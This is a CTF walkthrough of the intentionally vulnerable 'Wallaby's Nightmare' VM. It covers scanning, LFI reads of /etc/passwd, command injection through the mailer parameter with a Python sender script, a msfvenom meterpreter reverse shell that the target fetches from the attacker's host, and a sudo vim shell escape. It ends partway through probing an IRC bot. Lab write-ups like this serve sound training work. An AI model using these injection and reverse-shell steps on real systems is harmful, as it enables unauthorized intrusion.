Wallaby's Nightmare

Blurb about the vulnerable box

This is my first boot2root machine. It's beginner-intermediate level.

It's been tested in VBox and VMware and seems to work without issues in both.

A tip, anything can be a vector, really think things through here based on how the machine works. Make a wrong move though and some stuff gets moved around and makes the machine more difficult!

This is part one in a two part series. I was inspired by several vms I found on vulnhub and added a bit of a twist to the machine.

Good luck and I hope you guys enjoy!

This is my first CTF/Vulnerable VM ever. I created it both for educational purposes and so people can have a little fun testing their skills in a legal, pentest lab environment.

Some notes before you download!

Try to use a Host-Only Adapter. This is an intentionally vulnerable machine and leaving it open on your network can have bad results.
It should work with Vmware flawlessly. I've tested it with vbox and had one other friend test it on Vbox as well so I think it should work just fine on anything else.
This is a Boot2Root machine. The goal is for you to attempt to attempt to gain root privileges in the VM. Do not try to get the root flag through a recovery iso etc, this is essentially cheating! The idea is to get through by pretending this machine is being attacked over a network with no physical access.

I themed this machine to make it feel a bit more realistic. You are breaking into a fictional characters server (named Wallaby) and trying to gain root without him noticing, or else the difficulty level will increase if you make the wrong move! Good luck and I hope you guys enjoy!


Changelog v1.0 - 2016-12-22 - First Release. v1.0.1 - 2016-12-29 - VM was made harder with various fixes. v1.0.2 - 2016-12-30 - Removed a left over temp file that could be used as a
shortcut.
Tips
Welcome to the Wallaby's Worst Knightmare 2 part series VM.
A few tips.
1. Fuzzing is your friend.
2. Tmux can be useful for many things.
3. Your environment matters.
Good luck and have fun! -Waldo

Start the CTF!


There's two adapters, which is weird

I set up wallaby / wallaby1 / target as the first network adapter, and wallaby2 as the second

This seems to be a misconfig on my first try, oopsie doopsie, I muffed it up again!

found em in a ping sweep:

nmap -n -sP 192.168.167.0/24



NMAP
msf5 > db_nmap -sV -O -A  -T5 -Pn -p- wallaby1
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 14:20 EDT
[*] Nmap: Nmap scan report for wallaby1 (192.168.167.133)
[*] Nmap: Host is up (0.0013s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT     STATE    SERVICE VERSION
[*] Nmap: 22/tcp   open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: |   256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_  256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 80/tcp   open     http    Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: MAC Address: 00:0C:29:41:F1:35 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   1.29 ms wallaby1 (192.168.167.133)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds


msf5 > db_nmap -sV -O -A -T5 -p- wallaby2
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 14:20 EDT
[*] Nmap: Nmap scan report for wallaby2 (192.168.167.134)
[*] Nmap: Host is up (0.0014s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT     STATE    SERVICE VERSION
[*] Nmap: 22/tcp   open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: |   256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_  256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 80/tcp   open     http    Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: 6667/tcp filtered irc
[*] Nmap: MAC Address: 00:0C:29:41:F1:35 (VMware)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   1.43 ms wallaby2 (192.168.167.134)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.49 seconds
msf5 > hosts

Hosts
=====

address          mac                name      os_name  os_flavor  os_sp  purpose  info  comments
-------          ---                ----      -------  ---------  -----  -------  ----  --------
192.168.167.133  00:0c:29:41:f1:35  wallaby1  Linux               3.X    server
192.168.167.134  00:0c:29:41:f1:35  wallaby2  Linux               3.X    server

msf5 > services
Services
========

host             port  proto  name  state     info
----             ----  -----  ----  -----     ----
192.168.167.133  22    tcp    ssh   open      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Ubuntu Linux; protocol 2.0
192.168.167.133  80    tcp    http  open      Apache httpd 2.4.18 (Ubuntu)
192.168.167.133  6667  tcp    irc   filtered
192.168.167.134  22    tcp    ssh   open      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 Ubuntu Linux; protocol 2.0
192.168.167.134  80    tcp    http  open      Apache httpd 2.4.18 (Ubuntu)
192.168.167.134  6667  tcp    irc   filtered

HTTP
Nikto

nikto scan caused port 80 to be closed!

root@kali:~# nikto -host target                                    
- Nikto v2.1.6                                           
---------------------------------------------------------------------------                 
+ Target IP:          192.168.167.133                      
+ Target Hostname:    target                             
+ Target Port:        80                                      
+ Start Time:         2019-05-01 20:09:16 (GMT-4)                      
---------------------------------------------------------------------------         
+ Server: Apache/2.4.18 (Ubuntu)                                             
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)    
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated:  20 error(s) and 6 item(s) reported on remote host                                              
+ End Time:           2019-05-01 20:09:21 (GMT-4) (5 seconds)
---------------------------------------------------------------------------

Manual

source of /

<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

<h5>Enter a username to get started with this CTF! </h5> <br /><form name="nickname" action="" method="post">
<input type="text" name="yourname" value="" />
<input type="submit" name="submit" value="Submit" />
</form>


Your username for this ctf is penis

click here to change your username:


Welcome to the Wallaby's Worst Knightmare 2 part series VM.
A few tips.
1. Fuzzing is your friend.
2. Tmux can be useful for many things.
3. Your environment matters.
Good luck and have fun! -Waldo

Start the CTF!

 

What the heck is this? Some guy named penis is trying to penetrate my server? Loser must not know I'm the great Wallaby!

Let's observe him for now, maybe I could learn about him from his behavior.

<html><head><title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>


    </head><body><p style="text-align:center;">What the heck is this?  Some guy named <em>penis
</em> is trying to penetrate my server?  Loser must not know I'm the great Wallaby!</p>
    <br><p style="text-align:center;">Let's <strong><em>observe</em></strong> him for now, maybe I could learn about him from his behavior. <br>
    <img src="/eye.jpg"></p></body></html>

root@kali:~/wallaby# curl  'http://wallaby/?page=mailer&mail=ls%20-R'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

.:
eye.jpg
index.php
levelone.txt
s13!34g$3FVA5e@ed
sec.png

./s13!34g$3FVA5e@ed:
althome.php
blacklist.php
contact.php
first_visit.php
home.php
honeypot.php
index.php
mailer.php
welcome.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
    <!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
    <!--Better finish implementing this so  can send me all his loser complaints!-->root@kali:~/wallaby#


root@kali:~/wallaby# curl  'http://wallaby/?page=mailer&mail=id'                                                                                                                                    
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

uid=33(www-data) gid=33(www-data) groups=33(www-data)
<h2 style='color:blue;'>Coming Soon guys!</h2>
    <!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
    <!--Better finish implementing this so  can send me all his loser complaints!-->

Dirb
wallaby/server-status - 403
wallaby/javascript/jquery
wallaby/javascript/jquery/jquery - 200

dirb http://wallaby/?page= -z 10 /usr/share/dirb/wordlists/vulns/apache.txt

-----------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Wed May  1 21:40:05 2019
URL_BASE: http://wallaby/?page=
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
SPEED_DELAY: 10 milliseconds

-----------------

GENERATED WORDS: 4612                                                         

---- Scanning URL: http://wallaby/?page= ----
+ http://wallaby/?page=.git/HEAD (CODE:200|SIZE:1106)                                                                                                                                                            
+ http://wallaby/?page=.svn/entries (CODE:200|SIZE:897)                                                                                                                                                          
+ http://wallaby/?page=_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:897)                                                                                                                                           
+ http://wallaby/?page=_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:897)                                                                                                                                          
+ http://wallaby/?page=_vti_bin/shtml.dll (CODE:200|SIZE:897)                                  


root@kali:~/src/wallaby# curl target/?page=.git/config
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

<h2>That's some fishy stuff you're trying there <em></em>buddy.  You must think Wallaby codes like a monkey!  I better get to securing this SQLi though...</h2>
         <br />(Wallaby caught you trying an LFI, you gotta be sneakier!  Difficulty level has increased.)
root@kali:~/src/wallaby#
root@kali:~/src/wallaby#

root@kali:~/src/wallaby# curl  http://wallaby/?page=../../../etc/passwd
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
steven?:x:1001:1001::/home/steven?:/bin/bash
ircd:x:1003:1003:,,,:/home/ircd:/bin/bash<!--This is what we call 'dis-information' in the cyber security world!  Are you learning anything new here ?-->
root@kali:~/src/wallaby#
root@kali:~/src/wallaby# curl  http://wallaby/?page=../../../etc/crontab
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

<h2>That's some fishy stuff you're trying there <em></em>buddy.  You must think Wallaby codes like a monkey!  I better get to securing this SQLi though...</h2>
         <br />(Wallaby caught you trying an LFI, you gotta be sneakier!  Difficulty level has increased.)root@kali:~/src/wallaby#
root@kali:~/src/wallaby#

# Triggered LFI alert (using '/' in ?path=<location> triggers if it doesn't contain /etc/passwd)
curl "http://wallaby/?page=/admin"

msf5 > db_nmap -sV -O -A -T3 -p- wallaby
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 22:08 EDT
[*] Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 50.00% done; ETC: 22:09 (0:00:11 remaining)
[*] Nmap: Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
[*] Nmap: Service scan Timing: About 100.00% done; ETC: 22:08 (0:00:00 remaining)
[*] Nmap: Nmap scan report for wallaby (192.168.56.105)
[*] Nmap: Host is up (0.0011s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 22/tcp open  ssh  OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
[*] Nmap: |   256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
[*] Nmap: |_  256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
[*] Nmap: 6667/tcp  filtered irc
[*] Nmap: 60080/tcp open  http Apache httpd 2.4.18 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.18 (Ubuntu)
[*] Nmap: |_http-title: Wallaby's Server
[*] Nmap: MAC Address: 08:00:27:ED:DF:AC (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X|4.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
[*] Nmap: OS details: Linux 3.2 - 4.9
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT  ADDRESS
[*] Nmap: 1   1.13 ms wallaby (192.168.56.105)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds

curl http://wallaby:60080/
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.

// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);

for(var key in params) {
     if(params.hasOwnProperty(key)) {
         var hiddenField = document.createElement("input");
         hiddenField.setAttribute("type", "hidden");
         hiddenField.setAttribute("name", key);
         hiddenField.setAttribute("value", params[key]);

         form.appendChild(hiddenField);
      }
}

document.body.appendChild(form);
form.submit();
}
</script>


<p style="text-align:center;">HOLY MOLY, this guy <em></em>wants me...Glad I moved to a different port so I could work more securely!!!</p>
<br /><p style="text-align:center;">As we all know, <strong><em>security by obscurity</em></strong> is the way to go...<br />
<img src="/sec.png"/></p>

# dirb http://wallaby:60080/?page= /usr/share/dirb/wordlists/big.txt

-----------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Wed May  1 22:14:23 2019
URL_BASE: http://wallaby:60080/?page=
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458                                                     

---- Scanning URL: http://wallaby:60080/?page= ----
+ http://wallaby:60080/?page=blacklist (CODE:200|SIZE:986)                                          
+ http://wallaby:60080/?page=cgi-bin/ (CODE:200|SIZE:892)                                           
+ http://wallaby:60080/?page=contact (CODE:200|SIZE:895)                                            
+ http://wallaby:60080/?page=home (CODE:200|SIZE:1139)                                              
+ http://wallaby:60080/?page=index (CODE:200|SIZE:1053)                                             
+ http://wallaby:60080/?page=mailer (CODE:200|SIZE:1077)


###Quick script to speed up generating HTML-friendly form values against http://wallaby:60080/?page=mailer, and optionally send the request

#!/usr/bin/env python3

import argparse
import urllib.parse
import requests

parser = argparse.ArgumentParser()
parser.add_argument("--command", "-c", help="command to encode in URL-friendly format")
parser.add_argument("--sendit", "-s", help="send the request", action='store_true')

target = 'http://wallaby:60080'

args = parser.parse_args()

html_form_value = urllib.parse.quote_plus(args.command)

if args.sendit:
baseurl = target + '?page=mailer&mail='
url = baseurl + html_form_value
r = requests.get(url)
print(r.text, "\n", r.status_code)
else:
print(html_form_value)

Getting a Foothold
The vector


Young Mat found groovy stuff in dirb and we poked around and checked out some things, which led to this gem of execution!

root@kali:~/wallaby# curl  'http://wallaby/?page=mailer&mail=ls+-r'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

testpoo
sec.png
s13!34g$3FVA5e@ed
revshell.1
revshell
poop
nc
levelone.txt
index.php
id.php
hotmud.php
eye.jpg
again.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
    <!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
    <!--Better finish implementing this so  can send me all his loser complaints!-->root@kali:~/wallaby#

The script

We all poked at this for a while manually and then Mat and I collaborated on a script to make using this easier:

 


#!/usr/bin/env python3

import argparse
import urllib.parse
import requests

parser = argparse.ArgumentParser()
parser.add_argument("--command", "-c", help="command to encode in URL-friendly format")
parser.add_argument("--sendit", "-s", help="send the request", action='store_true')

args = parser.parse_args()

html_form_value = urllib.parse.quote_plus(args.command)

if args.sendit:
    baseurl = 'http://wallaby/?page=mailer&mail='
    url = baseurl + html_form_value
    r = requests.get(url)
    print(r.text, "\n", r.status_code)
else:
    print(html_form_value)


this makes access much easier

root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c 'ls -lR'
<title>Wallaby's Server</title>
<script>function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}
</script>

.:
total 544
-rw-r--r-- 1 www-data www-data    779 May  1 20:01 again.php
-rw-r--r-- 1 root     root      15953 Aug 11  2015 eye.jpg
-rw-r--r-- 1 www-data www-data    779 May  1 19:55 hotmud.php
-rw-r--r-- 1 www-data www-data    585 May  1 20:13 id.php
-rw-r--r-- 1 root     root       3639 Dec 27  2016 index.php
-rw-r--r-- 1 root     root          0 Dec 27  2016 levelone.txt
-rwxr-xr-x 1 www-data www-data 442856 May  2 14:41 nc
lrwxrwxrwx 1 www-data www-data     17 May  1 20:05 poop -> s13!34g$3FVA5e@ed
-rwxr-xr-x 1 www-data www-data    234 May  2 06:13 revshell
-rw-r--r-- 1 www-data www-data    234 May  2 06:13 revshell.1
drwxr-xr-x 2 root     root       4096 Dec 27  2016 s13!34g$3FVA5e@ed
-rw-r--r-- 1 root     root      57626 Dec 27  2016 sec.png
-rw-r--r-- 1 www-data www-data      6 May  2 05:49 testpoo

./s13!34g$3FVA5e@ed:
total 36
-rw-r--r-- 1 root root  339 Dec 27  2016 althome.php
-rw-r--r-- 1 root root  698 Dec 27  2016 blacklist.php
-rw-r--r-- 1 root root   78 Dec 16  2016 contact.php
-rw-r--r-- 1 root root  371 Dec 16  2016 first_visit.php
-rw-r--r-- 1 root root  379 Dec 16  2016 home.php
-rw-r--r-- 1 root root 1350 Dec 27  2016 honeypot.php
-rw-r--r-- 1 root root  213 Dec 15  2016 index.php
-rw-r--r-- 1 root root  461 Dec 16  2016 mailer.php
-rw-r--r-- 1 root root  667 Dec 16  2016 welcome.php
<h2 style='color:blue;'>Coming Soon guys!</h2>
    <!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->
    <!--Better finish implementing this so  can send me all his loser complaints!-->
200
root@kali:~/wallaby#


The payload / getting meterpreter
First we make a payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.167.130 LPORT=4444 -f elf -e x86/shikata_ga_nai -a x86 --platform linux -o revshell  

What is this command?

-p specifies the payload we are making a linux, x86 payload for a meterpreter reverse shell over tcp
LHOST, LPORT are variables for this payload (and standard for all metasploit) LHOST is the listen host LPORT is the listen port (atack box).

-f format is elf (linux binary)

-e encoder is x86/shikata_ga_nai - I believe it is the best choice for an encoder unless you have a good reason to use a different one or know more about encoders than me (not hard!)  https://en.wikipedia.org/wiki/Shikata_ga_nai

-a arch is x86 (target)

--platform is linux (target)

-o <filename> (name of our payload file)

Start a HTTP server to make uploading the payload easy!

from the directory where your payload is:

python3 -m http.server 8000 &

Fetch the payload and chmod it

~/src/wallaby/pcurl.py -s -c 'wget 192.168.167.130:8000/revshell'
~/src/wallaby/pcurl.py -s -c 'chmod a+x revshell'                                                                                                                                                                                                                  

Start a local handler

use the exploit/multi/handler module. Set the payload options to match *exactly* what you generated with msfvenom, and run it!

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp       
msf5 exploit(multi/handler) > options                      
                                              
Module options (exploit/multi/handler):                                                     
                                              
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------                                        
                                                                                 
                                                                                                                   
Payload options (linux/x86/meterpreter/reverse_tcp):                
6                                                                    
   Name   Current Setting  Required  Description     
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)                             
   LPORT  4444             yes       The listen port
                                                      
                                                                               
Exploit target:                                                 
                                                              
   Id  Name                                    
   --  ----                              
   0   Wildcard Target                     
                                                     
                                             
msf5 exploit(multi/handler) > set LHOST 192.168.167.130
LHOST => 192.168.167.130
msf5 exploit(multi/handler) > run

Call the exploit and watch your meterpreter shell

in a terminal:

root@kali:~/wallaby# ~/src/wallaby/pcurl.py -s -c './revshell'                                                                                                                                                                                                                          


in msfconsole:

msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.167.130:4444
[*] Sending stage (985320 bytes) to 192.168.167.133
[*] Meterpreter session 1 opened (192.168.167.130:4444 -> 192.168.167.133:47150) at 2019-05-02 09:15:32 -0400

meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33
meterpreter >

congratulations! You've got a meterpreter shell! :D

 

 

Escalating Privileges

www-data


from meterpreter as www-data, we can turn into waldo:

meterpreter > channel -i 2
Interacting with channel 2...


whoami
www-data
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
    (ALL) NOPASSWD: /sbin/iptables


This shows how to become waldo user with a vim escape; from a www-data shell


Becoming waldo, another user with better access


as www-data, run:
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

When you get into vim, run

:shell

Now you are waldo!


whoami
waldo
id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)


You still have a terrible shell though. So let's fix that:

make the .ssh directory in waldo's home, echo out an ssh pubkey to the .ssh directory, and chown it 600

Waldo, in a real shell, to become wallaby

The tips for this CTF included a hint about tmux being useful. Once we become waldo, it's easy to see what he is running, since there is a script for running irssi in waldo's home directory. That script start irssi in a tmux session.

So from a real shell (with a tty), using 'tmux attach' will get you into waldo's irssi session.

How do I irssi?


We spent some time remembering how to use irssi. I haven't run it for years, even though it used to be a daily driver. Eventually we remembered how to list windows, and found #wallabyschat

 


18:06 -!- waldo [waldo@wallaby-DCED2AAD] has joined #wallabyschat
18:06 [Users #wallabyschat]
18:06 [@waldo]
18:06 -!- Irssi: #wallabyschat: Total of 1 nicks [1 ops, 0 halfops, 0 voices, 0 normal]
18:06 -!- Channel #wallabyschat created Wed May  1 18:06:18 2019
18:06 -!- Irssi: Join to #wallabyschat was synced in 7 secs
18:06 -!- wallabysbot [sopel@wallaby-DCED2AAD] has joined #wallabyschat

                                                                                                                
SteveyDevey noticed the join message for wallabysbot. We played around with the bot and found the .run command, which failed on anything other than single arg invocations, but runs those things as wallaby!

Matato did some excellent research on the module, first by exploring the system and finding the module (which is custom), and then digging through the sopen source to understand the stuff the module inherited via decorators.


So, after digging a big with irssi,  wallaby's  .run custom module. trigger.group(2) won't accept any sort of command with args.

